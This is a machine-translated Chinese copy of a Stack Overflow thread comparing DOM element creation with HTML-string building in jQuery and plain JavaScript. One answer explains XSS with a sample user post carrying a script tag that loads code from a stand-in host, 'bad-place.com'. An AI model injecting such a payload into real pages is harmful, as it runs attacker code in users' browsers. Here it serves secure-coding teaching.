Javascript創建一個HTML對象vs創建一個HTML字符串

很簡單的問題，我無法找到答案，也許是因爲它是一個非問題，但我想知道是否有創建一個HTML對象之間的差異使用Javascript或使用字符串來構建元素。比如，將JS中的任何HTML元素聲明爲JS對象或字符串並讓瀏覽器/庫/ etc等解析它們是一種更好的做法嗎？例如：Javascript創建一個HTML對象vs創建一個HTML字符串

jQuery('<div />', {'class': 'example'});

jQuery('<div class="example></div>');

（只使用jQuery作爲一個例子，但是同樣的問題適用於香草JS爲好。）

這似乎是一個非問題對我來說但我不是JS專家，我想確保我做對了。提前致謝！

來源

2012-08-02 aapis

他們都是「正確的」。兩者在不同的時間用於不同的目的都很有用。

例如，在頁面速度方面，這幾天它的速度更快，只是這樣做：

document.body.innerHTML = "<header>....big string o' html text</footer>";

瀏覽器會吐出來在瞬間。爲了安全起見，在處理用戶輸入時，構建元素，將它們附加到documentFragment然後將它們附加到DOM（或者用新版本或其他方式替換DOM節點）會更安全。

考慮：

var userPost = "My name is Bob.<script src=\"//bad-place.com/awful-things.js\"></script>", 
    paragraph = "<p>" + userPost + "</p>"; 

commentList.innerHTML += paragraph;

對戰：

var userPost = "My name is Bob.<script src=\"//bad-place.com/awful-things.js\"></script>", 
    paragraph = document.createElement("p"); 

    paragraph.appendChild(document.createTextNode(userPost)); 
    commentList.appendChild(paragraph);

人做不好的事情，一個沒有。

當然，您不必創建textNodes，您可以使用innerText或textContent或其他任何（瀏覽器將自行創建文本節點）。

但是重要的是要考慮你分享什麼和如何。

如果它來自您信任的地方以外的任何地方（除非您提供靜態頁面，在這種情況下，爲什麼要構建html？），那麼您應該牢記注入 - - 只有你想要注射的東西應該是。

來源

2012-08-02 17:27:46 Norguard

感謝大家的回覆。無論如何，這個最清楚地說明了這個區別。 – aapis 2012-08-03 18:40:20

如果你的attribubes依賴調用$函數之前設置的變量，那麼1 /更好，不必連接字符串和變量。除此之外，既然你可以同時做這兩件事，而且它只是別人寫的一些js代碼，而不是在瀏覽器中硬編碼的C++ DOM API ...

來源

2012-08-02 17:22:39 mpm

根據你的特定情況，如果if一切都是硬編碼的，選項2可能更好，因爲@camus說。與第一個選項

一個限制雖然是這個

$("<div data-foo='X' />", { 'class': 'example' });

將不工作。該超載期望裸標籤作爲第一個沒有屬性的參數。

據報道，這here

來源

2012-08-02 17:23:00

Javascript創建一個HTML對象vs創建一個HTML字符串

回答

相關問題